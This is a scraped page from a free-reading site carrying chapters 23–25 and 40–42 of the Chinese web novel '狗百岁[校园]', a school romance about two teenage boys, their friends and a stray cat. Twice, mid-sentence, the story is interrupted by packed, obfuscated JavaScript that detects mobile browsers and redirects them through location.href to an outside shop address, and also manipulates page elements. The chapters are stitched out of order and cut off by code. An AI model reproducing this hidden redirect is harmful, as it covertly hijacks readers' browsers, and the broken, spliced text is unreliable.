哪有这样完全不顾后果的,贺远川他敢,可是程澈不敢。 如果贺远川今晚真有什么事,他欠不起这份情。 贺远川看着远方的车流,没说话。 半晌,才听见他慢慢地说: “其实我也不知道,程澈。” 程澈把脸埋在膝盖上。 贺远川的声音在耳边响起,轻的像一片飘扬的羽毛,挠得人的心尖痒痒的,眼眶也发胀。 程澈知道他是在看自己,问得温柔却又带着不解: “我不知道,你知道吗?” 程澈不说话,他不敢抬头。 贺远川自顾自地又说,声音的方向转了回去,像是声叹息: “你也不知道。” 乔稚柏从车上下来,只觉得腿有点软。从派出所捞贺远川这件事已经够魔幻了。 更魔幻的是旁边还蹲着一个眼熟的,见他下车了,远远地冲他笑笑。 乔稚柏抖了两抖,不是,怎么学霸也在这啊? 他恍惚地左右看了两眼,确定来的这地儿不是图书馆,是正儿八经的派出所,旁边停着好几辆警车呢。 这俩人怎么又搞到一块去了? 贺远川下午不是说出去随便转转?这就是随便转转?带着人学霸转到派出所来了? “你俩犯法了?”乔稚柏惊魂未定,“怎么回事儿,你俩被人打了?” 难道是贺远川的爸爸找人把亲儿子给打了一顿,就是因为他不愿回家?那会不会哪天也找人打他乔稚柏一顿? 乔稚柏瑟缩一下,仔细琢磨,又觉得还是不对,他爸打他就行了,总不能连程澈也打吧! “犯什么法,我是好公民。”贺远川说,一张嘴下巴疼,嘶了声: “再等会,快能走了。” 程澈默不作声盯着远方,心想好公民刚刚一打三,给人仨可打的不轻。 “你下午说出去随便转转,怎么和学霸搞到一块了?”乔稚柏问。 “什么叫搞到一块,”贺远川说,“刚好碰到。” 程澈扯扯嘴角,笑不出来。 “怎么我碰不到,”乔稚柏也蹲下了,“程澈,你头怎么了?” 乔稚柏像个好奇宝宝,一来就是一堆问题,但程澈只觉得他热闹,不觉得他烦,这样一个心思单纯的人,确实很难让人讨厌得起来。 “…撞了下。”程澈说,确实是撞了下,只是撞的是铁栏杆,划了条大口子。 贺远川指指下巴:“我也是。” 乔稚柏眉毛一抬:“谁问你了?” 于是门口又蹲了尊石狮子。 基本什么都没问出来的乔稚柏很是郁闷,好兄弟满嘴跑火车,一句答不到点子上,另一个说不出几句话,看着无精打采。 乔稚柏暗自分析,既然不是搞到一块了,那应该就是两人私下里约架了。 这样一想,火光电石间,似乎一切都连上了,没错! 上次在校医室也是撞见这两个人纠缠在地上的样子!当时程澈解释说他们是在打架。 他面色复杂地看了贺远川一眼,又脸色凝重地看了眼程澈。 贺远川用后脑勺想想都知道这人又想歪了,他懒得搭理,也不反驳,毕竟还指望着人家给他俩带回去呢。 程澈被乔稚柏盯得发毛,想解释,又觉得无从下口。 三尊狮子各怀心事,大概二十分钟后,程澈和贺远川进去接受了教育与批评,多亏有热心大姨们的证词,他俩能回家了。 程澈给大姨们道了谢,大姨们摆摆手,出门跳广场舞去了。 矮个儿和胖子一双小眼睛恶狠狠地盯着几位大姨,贺远川临走时经过三人,低声警告: “别干那不光彩的龌龊事儿,不服直接找我,我奉陪。” 警察给他推出去了:“下次还想来是吧?赶紧走!” 说完一转身教育矮个儿和胖子他们三个:“你们三给我老实点!进来几次了?住我这得了,屡教不改。” 三人出了大厅往外走,程澈从地上拎起放在建筑物阴影里的猫包,乔稚柏这才看见,问:“ 24. 第24章 《狗百岁[校园]》全本免费阅读 程澈张了张嘴,不是,他怎么就没有这段记忆呢? 但这两句话确实非常及时地替他解了围,他可以不用再去网吧椅子上缩着趴一晚上。 所以他又把嘴闭上了。 乔稚柏看他:“那正好,上我家吧,我家两间客房,你俩一人一间。” 程澈还是有点不好意思,“没事,我…” “客气什么,”乔稚柏说,他也看出来程澈怕麻烦自己: “咱俩谁跟谁,就当来玩玩,在我家住几天也成,你这带着一头绷带回去,不得挨家里人一顿骂?” 盛情难却,车已经往乔家老宅方向开了。 程澈微微偏头,隔着猫包坐着的那个人斜着个身子,背对着自己,往外不知在看什么,车窗开了一半,风吹进来很是舒服。 贺远川的头发就被风轻轻拂起来,又慢慢落下去,脖子后面有几条细碎的红痕,车里暗,看得不真切。 程澈盯着那几点红痕看了会,无意识地低下头,手掌摊开,看自己的手心。 虎口朝里的那儿破了块皮,摔倒在地时被水泥地上凹凸不平的细沙划的。 他用指尖反复挠那块透着红的破皮,感受细密的痛意。 车开到乔家老宅时,已经夜里十二点多了。 程澈在车上斜倚着,不知不觉睡着了,中间醒了一次,皱着眼睛歪头先往身侧看。 贺远川斜着的身子不知什么时刻已经换了方向,正对着他,长睫覆着那双平日里没什么情绪的眼睛,睡着了。 就是应该睡得不沉,眉毛微微蹙着,或许是做梦了。 程澈偏头的第一眼,就刚好对上这张不算平静的熟睡中的脸,嘴边粘着的创口贴翘起了一个边。 车里很安静,只有风灌进窗的声音。王叔下意识放轻动作,副驾上露半个后脑勺的乔稚柏打着轻轻的鼾。 程澈的身子朝后缩了缩,黑白花在猫包里也睡着了。猫包边上搭着另一只手,松垮垮的,随着车的颠簸滑下去。 他盯着滑下去的那条胳膊上的淤青,好半天后,用食指关节去触碰靠着纱网的猫咪脑袋。 触得温柔。 在突如其来的某一个瞬间,其实他想触碰的不止是猫。 车在老宅前的树荫里停下,厅堂北边的两间关了灯,黑洞洞的。乔祖父母已经进入梦乡,院子里寂静无声。 厅堂往南的两间还亮着灯,被亲哥勒令一定要誓死保密的乔焕还没睡,抱着枕头苦等了一晚上,终于给人等回来了。 一位是他又怵又尊敬的远川哥哥,嘴边贴着大创口贴,另一位是个眼生的,没见过,但也生得好看,白净瘦削,温温柔柔的。 就是头上缠着厚厚的绷带,看着是受伤了。 乔焕莫名地喜欢这个桃花眼哥哥,抱着枕头跟在程澈屁股后面转悠。 乔稚柏看见弟弟,压着声音问:“没说漏吧?” 乔焕把手遮在嘴上,鬼鬼祟祟回:“没漏,放心吧哥。” 一大一小相似的两张娃娃脸交头接耳,跟地下党换情报似的,程澈看着,觉得有趣。两个娃娃脸交换完情报,乔稚柏手一挥,说: “走,程澈,你住这边这间。” 贺远川下车后就没说话,眼看乔稚柏要带着程澈到面朝东的那间空客房,站那停住了,没吭声。 乔稚柏一开灯,傻眼了。 他瞪大双眼,不敢相信地往里走了两步,环顾满房间的杂物,惶惶问:“乔焕,从哪儿来天降的这么多东西?” “不是天降,是奶奶降的。” 乔焕说:“布丁不愿上奶奶那屋睡,奶奶就让方阿姨把北边那个杂物间收拾出来了,说是东西先都堆在这儿。” 程澈猜布丁就是乔稚柏晚上说的那只布偶。 乔稚柏这两天不着家,完全没在意这茬。 早上送完乔焕去补习班,下午贺远川说要去美食街那边,还不让他跟着,他干脆一通电话找王杉和刘俊又去唱了一下午歌。 他转头过来看程澈,有些不好意思,语速加快启动应急方案:“你介意睡我弟房间吗?他前两天看恐怖片,晚上不敢一个人睡。” 乔家兄弟二人这几天晚上确实是在一块睡的。 并且是紧紧抱在一块睡的,兄弟俩都嫌弃对方胆子小,睡着睡着又嫌对方挤着自己烦,半夜起来还得吵一架。 吵完气得冒烟也还是抱着睡,谁也不敢独自睡一间房。 谁知这话一说完,乔焕突然就变得扭捏了,抱着枕头眼神飘忽,说: “没事哥,我和这个新哥哥睡一间房也可以,就是不知道新哥哥愿不愿意。” 程澈想去网吧开机子了。 倒不是嫌弃这个娃娃脸小孩,乔焕和乔稚柏一样,都是天生不容易招人烦的类型,他只是不喜欢别人因为自己感到为难,不愿给别人添麻烦。 不想因为自己改变别人原来的生活轨迹。 “他不愿意。”乔稚柏咬着牙说,揪住扭捏的弟弟给拖进了自己房间里,半分钟后又脸色不大好的提着乔焕出来了。 他的房间也没有被奶奶放过,床上堆满了几床捆好了的大棉被,一点空子都没有。 这下连乔稚柏自己都要和乔焕挤一张床了。 乔稚柏垂头丧气,也是觉得没面子,说:“今晚先两人两人一间吧,明天我找方阿姨给房间拾出来。” 他抬眼看浑身伤的两人,沉思片刻,这俩人关系应该不大好,睡一起别半夜打起来。 沉思结束,乔稚柏转头和旁边站着没吭声的贺远川说:“我俩一间吧,让乔焕和程澈睡一间,床大,挤不着。” 贺远川看他一眼,终于说话了,简单干脆又无情:“我不和你。” “和我怎么了?”乔稚柏困了,没力气吵架,无力地说:“那你和乔焕一间。” 乔焕抱着枕头往后退了退,小脸蜡白,哼唧:“哥……我又有点想和你睡了,我俩睡吧……” 没招了,乔稚柏又看了战损版的二人一眼,带着担忧痛下决心:“程澈,那你和贺远川一间,可以吗?” 贺远川已经转身往自己房间去了,太晚了,程澈不好意思再耽误时间,虽然他不是很想和贺远川一间,但还是说: “我都行,你快去睡吧,今晚因为我连带的你们都这么晚还没休息。” 乔稚柏把一个哈欠生生憋了回去, 25. 第25章 《狗百岁[校园]》全本免费阅读 程澈抱着换下来且已经搓洗干净的衣服从浴室出来时,贺远川已经在床外侧躺下了,背对着浴室,呼吸平稳,身体有规律的轻微起伏。 似乎是睡着了。 程澈放轻动作,将手里拧得皱巴巴的衣服展开,担在椅背上。 黑白花被安置在了客房拐角的小沙发上,蜷着睡了,伤腿直直地伸出去。 他摸摸猫,便踩着拖鞋蹑手蹑脚地去关了灯。 还好房间里有多余的拖鞋,他不至于要和贺远川穿同一双。 程澈站在那适应了一会黑暗,才轻手轻脚地摸索着走到床边,从床尾慢慢爬上去。 床很大,两个人睡完全绰绰有余。躺下后他像一只鹌鹑用半侧身子死死贴住墙,蜷缩成一团,恨不得整个人钻进墙里面去。 程澈一个人睡惯了,乍不乍身边多出个人来,怎么都觉得有点不自在。 贺远川躺得离他有段距离,关了灯的房间黑洞洞的,窗帘拉的严实,房间里一点光也没有。 程澈盯着什么都看不见的天花板愣神,尽管在车上的后半段他并没有睡,但此刻还是一点睡意都没有。 黑暗里,他慢吞吞地抬手,摸了摸自己太阳穴上缠着的纱布。 动作间带的衣服上的气味若隐若现地钻进鼻尖。 身边的人翻了个身,应该是把脸转了个方向,呼吸声变远了。 程澈松了口气,差点以为这人醒了。 “你和墙长一块了?”睡着的人突然说话,程澈吓了一跳。 他搭在纱布上的手一个激灵,干巴巴地清清嗓子:“我……我热。” 身边的人沉默了很久,久到程澈都快要以为他又睡着了,才听见贺远川闷着声说:“你别听乔稚柏瞎说。” “什么?”程澈没反应过来。 “就是我不是。”黑暗里贺远川又抛来一句,说得很快。 “不是什么?”程澈还是没反应过来,贺远川又不说话了。 他盯着乌漆麻黑的天花板自己慢慢想明白了。 这人误会到哪里去了! 想明白的那瞬间,脸上烫的像发了烧,羞耻与恼怒融成一团,程澈急眼了,结结巴巴地说: “没,我…我真的是热!我也不是!” “哦。”贺远川翻了个身,没理会他那蹩脚的理由,彻底背对着他,后脑勺说:“都不是那就睡过来点,大大方方的。” 程澈为表示大大方方,往中间挪了点,蠕动了大概四五十公分,终于不再紧贴着墙,但和贺远川还是有段距离,横竖也挨不着。 两个人都没有再说话,困意渐渐袭来。 一夜无梦。 程澈不知道自己是什么时候睡着的,醒来时身体没有蜷在墙边那块小角落里,而是松松垮垮的斜着。 他睁大眼迅速转过身,旁边没有人,贺远川不知什么时候出去了,被子四方四正地叠好摞在枕头上。 看了会那床叠得整齐的被子,程澈又重新躺了回去。 阳光从窗帘缝里钻进来,他眯着眼躺了会,才慢吞吞地从床上爬起来,叠好了自己的那床被子,铺平床单。 穿好自己的鞋,推门出去时,院子正中间的躺椅上躺着个打扮时髦的老妇人,穿着身质地良好的旗袍。 一见他,老妇人就笑着喊:“小澈是吧?昨天奶奶睡得早,今天才见着你,长得真乖。” 程澈笑了,喊奶奶好,这位应该就是乔稚柏的奶奶。 乔祖母坐起身子:“听稚柏说是你那脑袋是摔的呀,这两天在奶奶家玩,奶奶给你做好吃的。” 程澈没说还是不好,只是弯着眼睛笑笑。 他在这种时刻会有些不太明显的迟钝,不知道该做什么回应。 恰时乔稚柏从客厅里探个脑袋出来,朝他招手,嘴里塞得满满的: “程澈,快来吃早饭!我买了大包子,好几个馅呢。” 程澈进客厅时,贺远川背对着门坐着,听见他的声,没回头,只是在程澈经过身侧时开口说: “醒了?” 程澈嗯了声,瞥了眼,在他身边的空位坐下。 都是直男,大大方方的。 程澈身上穿得衣服眼熟得很,乔稚柏眯起眼仔细一看,竟然是贺远川的,便一拍脑袋,“你看我这脑子,昨晚忘记给你找件睡衣。” “没事儿。”程澈笑笑。 他刚刚坐下,对面的乔焕就害羞地给他端了碗八宝粥,程澈说谢谢,乔焕眨着大眼睛,扭捏:“不客气。” 乔稚柏吃了三个大包子,边吃边拿眼睛打量这两人,心里急速分析。 程澈黑眼圈不算重,贺远川倒是眼下有些乌青,但今早两人愿坐在一块,甚至程澈穿得是贺远川的衣服。 要知道贺远川的衣服可不是谁都能穿的,他这位好兄弟,对贴身的衣服要求很严,绝不穿别人穿过的。 乔稚柏想,估计这件以后再也不会看贺远川穿了,程澈穿着倒也好看,就是比贺远川身形小点,有点瘦的身体在衣服下晃悠。 看来昨晚应该还算是和平。至少应该没有再出现扭打纠缠的现象。 等乔焕一滩水似的流回对面的座位后,程澈才低头问:“看见猫了么?” 出来时小沙发上没见着,猫包里也没有。 贺远川没抬头,用勺子往嘴里递了口粥,嘴一张就疼,于是又把盛着粥的勺子放回碗里:“早上一开门自己出去了,在和布丁玩吧。” 程澈抬眉:“它不是不能走?” 贺远川说:“不能,爬出去的,一大早布丁就来挠门了。” 程澈笑笑,也往嘴里送了口粥,有点烫。 这样的时刻难免让人感到轻松。 昨晚虽是睡得晚,但很难得地睡得挺沉,程澈便情不自禁地想要多说些话: “它原本胆子可小呢,以前喂猫,它都是躲在后面,等别的猫吃完了再出来。” 桌上的手机响了声,屏幕上弹出条信息。程澈听到声音抬头扫了一眼,很快收回。 他不好奇,看别人的手机信息多少有些不道德与越界。 余光里贺远川伸手拿过桌上的手机,看了眼便放进了口袋。 “流浪猫么?”贺远川问。 程澈点点头:“我家附近的,被车撞了。” 乔稚柏听见后真心实意地赞叹:“你救了一只小猫,特别了不起。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902623|135970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是凶巴巴的。 “事办完了呗。”贺远川说:“你怎么天天都不看路啊?” 程澈不好意思地笑了两声,“我想题呢,给你撞疼了吧。” “疼。”贺远川也不客气,手指指自己的下巴,又指指自己的脑袋:“你给我也揉揉。” 程澈把手从口袋伸出来问:“我刚撞你哪了?” 贺远川胡搅蛮缠:“哪哪都撞了。” 说完便把脑袋倾下来点递过去,程澈理亏,没纠结他比人矮一截怎么又撞下巴又撞脑袋的,伸手呼噜呼噜两把,跟摸小狗似的。 呼噜完又对着下巴挠了两下,说:“好了。” 贺远川收回脑袋,这会又不板着脸了,从口袋里掏出个塑料袋裹着的烤芋头。 “感觉这十来秒我又当小狗又当猫的,”贺远川把烤芋头递给程澈:“顺手买的,你吃吧。” 程澈确实饿了,晚上找书耽误了些时间,急着去上课就没吃饭。 他吃着芋头含糊不清:“你这两天心情不好啊?快期末考试了,不能天天睡觉,得听课,老师开始划重点了。” 贺远川沉默了会,突然问了句八竿子打不着的话:“那楼道不是有灯吗?” 程澈点头:“是有啊,还挺亮。” 贺远川又问:“你一个人去五楼害怕?” 这个问题听起来多多少少有点无厘头,程澈情不自禁地笑了几声:“不怕啊,你怎么突然这样问?” “哦。”贺远川也点头,意有所指,慢悠悠说:“我还以为是害怕呢,所以两层楼还得两个人一起爬。” 程澈这才反应过来,脚步顿了下,又不动声色地继续往前走。 贺远川这是——在生气? 生他和蒋知遥一起上课的气? 他偏头看看贺远川,也不知道自己为什么突然想要解释一下:“只是一起去上课,一晚上我和他都没说几句话的。” 贺远川“哦”了声,说:“上呗,说话也没什么。” 程澈也“哦”了声,沉默地啃两口烤芋头。 两人这样无言地走了一小段路,旁边的人朝他这边靠了靠,贺远川头歪过来,小声说: “我看那人不像个好人。” 程澈斜眼看他:“你一共也就这几天见了几面,这也看得出来。” “嗯。”贺远川说,“我看了他的面相,属于刻薄自傲的那一类。” 程澈又“哦”了声,问:“那我是什么面相?” “你是比较好骗的乖小孩面相。”贺远川说得一本正经:“反正你别跟他一块走了。” 胡话说完了,图穷匕见。 程澈笑了两声,怎么想都怎么觉得这句“好骗”指得是此时此刻。 但如果是贺远川的话,被骗一下就被骗吧。 “行不行啊?”贺远川见他光笑不说话,声音拖长了些,又往他这边凑凑:“我下巴还疼呢,不行也得行。” 程澈还是笑,他觉得贺远川好像有点可爱,真有点像只小狗。 “行吧。”笑完了程澈才说,声音柔柔的:“我可不能被别人骗。” 41.下雪 之后蒋知遥再来找程澈,程澈就笑笑和他说:“你先去吧蒋知遥,我有点事儿。” 程澈的旁边总是还坐着一个人,靠墙盯着他看。 蒋知遥的目光不经意地扫过那人,脚向后挪挪,原本想说的“没事我等你”又咽了回去。 后来几次再放学,他从九班窗户那探头朝里看,后面那排已经空空如也,没人了。 程澈旁边那位也不见了。 他问教室里出来的九班学生:“你们班程澈呢?” 做值日的同学拎着两根拖把,看他一眼说:“哦,他好像是走了吧?刚放学就背着书包从后门出去了。” 同学拎着拖把往卫生间方向去,蒋知遥的目光暗下去,不知道在想些什么。 再说程澈,为了避免某位再生莫名其妙的气,每天下午放学跑得比兔子还要快,噔噔噔就上了楼。 对此贺远川表示非常满意,上课也装模作样地开始听课。 蒋知遥又来找过几次,次次都见不着人,但是每次晚上上课,程澈还是和原先一样,客客气气的,看不出什么异常。 这天他特意提前收好了书包,铃一打就出了门。短短一会功夫走廊里已经窜出去许多学生。 天气预报说寒潮就要来临,没两天就快要下雪了,大家都不想堵在大门口那里排队,冻得慌。 快速流动的人群里,蒋知遥隐约看见个熟悉的背影,背着个书包逆着人流向上跑。 他喊:“程澈——” 那道影子跑得更快,很快就消失在拐角。 人流将他冲到了后面,蒋知遥好不容易爬到五楼,看见程澈已经坐在座位上低头写试卷了。 蒋知遥把书包塞进桌洞,很自然地伸手拍程澈的肩:“这几天放学都看不见你影子,跑得挺快呀,你吃饭了吗?” “没呢,”程澈垂眸看了看搭在自己肩上的手,笑笑:“人多,我就先上来了。” 那只手还是没收回去,在自己的肩上拍了拍,拍完也没见抬起来:“我带了面包,一起吃点?” 程澈不明显地偏了点身子,避开那只手:“谢谢啊,我不饿,你吃吧。” 自认清自己的性取向之后,程澈对于男生之间的身体接触变得敏感了许多,也更加注重这方面,有些时候别人不经意的触碰他会悄悄避开。 另外,蒋知遥对他的态度也好像有点过于热情了些。一晚上上课,那只手时不时地就要从后面拍拍他,不是问题目就是借东西。 晚上放学程澈收拾好书打算出教室,身后的人跟上来:“程澈!一起走啊。” 这种情况总不好说拒绝,蒋知遥的肩贴着他的身子靠过来,程澈不动声色地往旁边稍微让了点,低头说:“行啊,走呗。” 路上程澈没说几句话,只是偶尔笑笑,蒋知遥倒是话多,喜欢用手推眼镜,说一些学习上的事:“听说这次的集训营在省会,周边市区的重点高中都去呢。” 程澈漫不经心:“是吗。” “我听上届学长说,这种集训营一般要在那住个一周,学校嘛,开得都是两人间,到时候我俩搭个伴呗?” 程澈看他一眼,收回目光问:“不过我听说,这种一般不都是老师安排好的吗?” “可以自己换的,”蒋知遥说:“和老师说一下就行。” 两人说话间已经出了校门,门口围着些接送孩子的家长。 蒋知遥原本是贴着程澈走,这会突然手一伸,拍拍程澈的肩:“没事,到时候我去找老师调。” 程澈眉毛蹙起来,原本想说“到时候再说吧”,话还没说出口,便听见不远处有人说:“程澈。” 他抬头,见贺远川站在几米远的街对面,手插兜看向这边。 程澈应:“来了——” 刚准备和蒋知遥告声别,贺远川已经大步朝这边走过来,身后一辆小电驴擦着边驶过。 “看车啊。”程澈扒拉他,往他身上看了两眼:“碰到你了吗?” 贺远川没回答,上前伸手把他背后的帽子拉到头顶,说话意味不明:“没碰着我,倒是碰着你了。” 声音冷淡,听不出情绪来。 拉上后贺远川没收回手,将程澈脖子下的按扣也扣上了,全程当立在旁边的蒋知遥是个空气。 “聊什么呢,有说有笑的。”贺远川松开手问:“什么两人间?” 蒋知遥看着贺远川的侧脸,先程澈一步开口,笑容下是不可察的晦暗不清: “害,就是集训营的事,一时两时说不清,我说要和程澈搭个伴呢,你们班主任应该也在班上说过这事儿的吧?” “哦。”贺远川淡淡说:“我当什么大事呢。” 他朝程澈摊开掌心:“手。” 程澈伸手,估摸着贺远川是要递手套给他。 结果贺远川从口袋取出手套,低着头,慢条斯理地直接给他戴上了,也不知道是在说谁,带着警告意味: “说话就说话,动手动脚个什么劲儿?” 贺远川一手握住程澈的手腕,一手调整程澈指缝里的边角布料。蒋知遥盯着那手没吭声。 到底是谁动手动脚? 他心里虽是看不起贺远川这种毫无目标的混日子差生,但知道这话就是明晃晃奔着他来的,也见识过贺远川打起架有多狠:“程澈,那我先走了啊。” “哦。”程澈手还在贺远川的掌心里,一只手套戴了快半分钟,歪头说:“拜拜。” 之后的日子蒋知遥明显收敛多了,不但放学后不再去九班门口等,晚上上课时也不再从身后用手拍程澈的肩,程澈乐得清闲。 没两天清野镇就下了场大雪,鞋子踩在地上“咯吱咯吱”响。 整个世界都一夜之间变成了素白色,房顶、电线杆、树上堆了层厚厚的雪。 赵庆小卖部门口的小顶棚上也铺了一层,赵庆个儿不高够不着,程澈便拿了根大扫帚说:“叔,你进屋,等会再砸着你。” 赵庆忙不迭往屋里跑,他曾经让屋檐上的冰锥砸过脑袋,有阴影:“你小心点啊小澈,地上滑呢。” 程澈说“没事”,抬扫帚把顶棚上的雪顺着边“哗啦啦”地都扫了下来。 江河特别开心,穿着江蔓给她买的小熊雪地靴在家门口那一片跑来跑去,踩了一串脚印。 江蔓给程澈也带了一双,说是顺道买的,程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914076|135970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澈穿着有点儿大,自己又往里塞了双厚鞋垫。 他穿着新鞋子,给贺远川拍去一张照片:很厚实。 贺远川很快回过来:可以穿着去堆雪人了。 星期五当天又下了场大雪,这场雪是清野镇近几年最大的一场雪了,刚下了几个小时,外面原本结了层冰壳的积雪就又覆了厚厚的一层。 这场雪从早下到了傍晚,到快要放学前才终于停了,路面上的积雪快到小腿深。 最后一堂课放学前十分钟,老师出去了,说是要发几张试卷让学生带回去。 乔稚柏便趁这个空档在班里招呼了一圈子人:“走啊,放学打雪仗去!” 王杉说:“天黑透了,上哪儿打去,黑灯瞎火的看不见人都。” 一边的刘俊头趴在桌下在看小说,这会头一抬,激动的很: “害,我还真就知道有片空地,那儿有一溜排路灯,不说多亮堂,但看得见人,场地还大,上那玩去呗!” 孙子阳几个也起哄:“是吗?那去呗,都去,人多热闹些,好玩——” 程澈在刷题,贺远川趴在桌子上,摘程澈胳膊肘那儿磨出的小毛球。 乔稚柏回头:“你俩也去!反正明天也不上课,晚点回没事儿——” “不去。”贺远川手没停,戳得程澈胳膊肘痒痒的。“冷。” 程澈抬头,看了眼,听到这话又低了下去。 贺远川看见了:“你想去?” “不是说堆雪人?”程澈小声说。 乔稚柏正在招呼他同桌秦祎也一起,秦祎是个闷葫芦,但出奇地听乔稚柏的话。 贺远川拍乔稚柏:“改主意了,去。” “喔唷,难得。”乔稚柏没听到后面两人刚才叽咕的话,和平常一样大大咧咧不着调地开玩笑:“谁给你吹枕边风了?这么快就改主意了。” 程澈握着笔的手一顿,贺远川看他一眼,慢悠悠说:“谁啊?我也不知道。” 放学后一帮子男生浩浩荡荡地往空地方向去,刘俊走最前面带路:“兄弟们装备带齐了吗,血战啊血战,打起精神来都给我,尤其是你王杉,别又使那阴招——” “你再给我装——”王杉从地上拾起一把雪就朝刘俊洒过去。 “哎哟我靠,我就知道你爱整这阴的,雪进我衣服了凉凉凉啊——王杉我操你大爷的!” 刘俊和王杉边走边打,扬起一片雪沙。 乔稚柏跟在后面,拽着闷葫芦秦祎和猿猴一样,边跑边喊:“秦祎,抓雪,上啊!” 几个大男生在前面跑着闹起来,乔稚柏回头喊后面不紧不慢跟着的俩人:“跟上,别落下了——” 贺远川看了眼程澈,说:“他们好暴力。” 程澈笑了声,“打雪仗不就是这样玩的。” “我好像打不过啊。”贺远川说得认真且无辜。 打不过吗? 程澈的脑海里回想起美食街那晚的一战,贺远川以一人之力将三个人打得鼻青脸肿,挨几下必加倍还回去,要不是矮个儿耍阴招,贺远川怎么也落不得下风。 “所以你只能帮我。”贺远川头倾过来小声说:“记住没。” 42.生日 空地离学校不远,是一片荒废了的民居楼房,乍一看就是没有屋顶的半截房基,没门窗,水泥砖裸露在外,但每间房的大致格局都尚还存在。 据刘俊说是当年盖了一半被人举报,后面就烂尾了。 路边确实有排路灯,这片空地往南四五百米就是另一个老小区,偶尔会有人经过。 “像不像废墟,有股末日那味儿。”刘俊从砖头上抓了把雪,“咱们分队吧,两人一间房,充当安全屋,躲屋里就不能再砸了——” “行啊,”王杉补充,“但不能在屋里待太久,不然还玩个啥。” 几个男生嚷嚷着组队,“抽签还是石头剪刀布啊?” “不是我说,你们幼不幼稚?多大人了还石头剪刀布,”乔稚柏梗脖子:“手心手背吧。” “你他妈又好到哪里去。”王杉“啪”往乔稚柏身上砸了个雪球,乔稚柏立马从地上团了个结实的还回去。 几个男生自动分成了几队,王杉刘俊一致对外,就是一言不合容易起内讧;闷葫芦秦祎跟在乔稚柏的屁股后面,乔稚柏像个镇山大王,一手叉腰一手指挥,威风得很。 孙子阳和旁边几个男生互相又组了个队,到处都是扬起的雪,在昏黄的路灯下看得见闪着光落下的痕迹,原本寂静许久的空地一时间变得无比热闹。 贺远川也从地上攥了一块雪,捏成了个硬邦邦的动物:“看,像不像小鸭子?” 程澈还没来得及看,混乱中谁往他们这边扔了块巨大的雪饼,准头很好,兜了贺远川一头一脸。 雪从头顶和帽子上簌簌落,贺远川立马抓了块雪站起来,前脚刚挥出去。 头一偏便看见身边的程澈咬着牙从地上迅速团了个特别大的超级雪球,扔铅球般“嗖”一声朝着雪饼刚刚来的方向砸了回去。 贺远川愣住,有点懵,程澈三两下拍掉他头上的雪,把人往自己身后揽:“你团的太小了,路上就得散。” 贺远川看着他说:“冷呢。” “嗯。”程澈一本正经:“哥保护你。” 有点母鸡护犊子的即视感。 贺远川没忍住笑了:“你比我小吧?你不是二月份的生日?” 程澈看他一眼:“你怎么知道?” “你猜。”这会天又开始飘雪花,贺远川伸手接,岔开话题:“下了,我们找地儿躲会。” 前面一帮子男生打得浑身是雪,不一会越下越大,雪花鹅毛般飘下来。 刘俊干脆快给雪球淹没了,“王杉你再偷摸往我头上砸个试试呢!” 王杉说:“哎?川哥呢,刚那会不还在这儿呢么。” 刘俊:“你别转移话题。” “真的哎,贺远川不见了,”乔稚柏回头找,“学霸也不见了——” 贺远川收到乔稚柏微信时,正和程澈两人蹲在楼后的一小块角落里堆雪人。 这块有堵墙挡着寒风,头顶还有片宽敞的彩钢瓦,淋不到雪吹不到风,他俩刚才瞎逛发现的地儿。 程澈戴着贺远川的手套,蹲那一会堆一个小雪人,地上摆了整整一排。 “小刺,像么。”程澈握着个奇行种,说完自己先笑:“算了,小刺知道自己长这样,该骂我了。” 贺远川低头回消息,间隙里抬头看程澈拿着的雪人,看完也笑:“比我堆得好。” “这倒是,”程澈把奇行种塞回雪里,问:“谁啊?” “啊。”贺远川直接把手机屏给他看:“乔稚柏问我俩去哪了。” 程澈没看,“哦”了一声,也掏手机出来,对着地上的一排小雪人拍了几张照片。 当天晚上回家后,程澈从晚上拍得照片里挑了两张发了个朋友圈。 很快就收获了一小排点赞,大多是些班上的一些同学,乔稚柏在下面评论:好啊,我说怎么找不到你俩人呢,堆雪人去了是吧! 程澈莫名的心虚,没回,把手机揣回去开始写作业。 楼下不时响起阵洗牌声,程澈心无杂念地写到了十点多。 写完打算洗漱下睡觉,二楼的水管果不其然地上了冻,放不出水。 程澈在卫生间等了半天,叹口气,裹紧衣服踩着棉拖鞋下楼,想着去一楼用下江蔓的。 天冷了,打牌的人要求开空调,客厅的门便早早地关上了,程澈没有什么心理负担地从院子里穿过客厅,刚要拐进去,便看见程赴拎着个看不出颜色的涮笔桶出来了。 两人差点撞上,程澈看他一眼,没说话,身子向后避了避。 程赴端着桶立在那,“上次他们来找你了?” 程澈不想回答,但眼见程赴没有让开的意思,低低“嗯”了声。 “打你了吗?”程赴从口袋里摸根烟出来点上,那只小铁桶在手里晃晃悠悠,打火机“啪”一声响。 烟草味顺着凉空气钻进程澈的鼻腔,他没回答,只说:“让下。” 程赴深吸了口烟:“别人说的那些你别往心里去,好好上学,缺钱就和我说。” 程澈没耐心听他说这些,蹙着眉冷声:“做你的慈善去。” 说完直接抬腿往里走,肩膀撞到了程赴的,小铁桶甩起来,他没管,进去后便关上门。 装什么装? 程澈再出来时,红色铁门后的那个房间已经亮起了灯,门关着。 他收回目光,三两步上了楼,露天楼梯有点滑,鞋打滑差点摔,心有余悸地回了房间。 临睡前看贺远川给他的那条朋友圈点了个赞,评论了个刺猬的emoji。 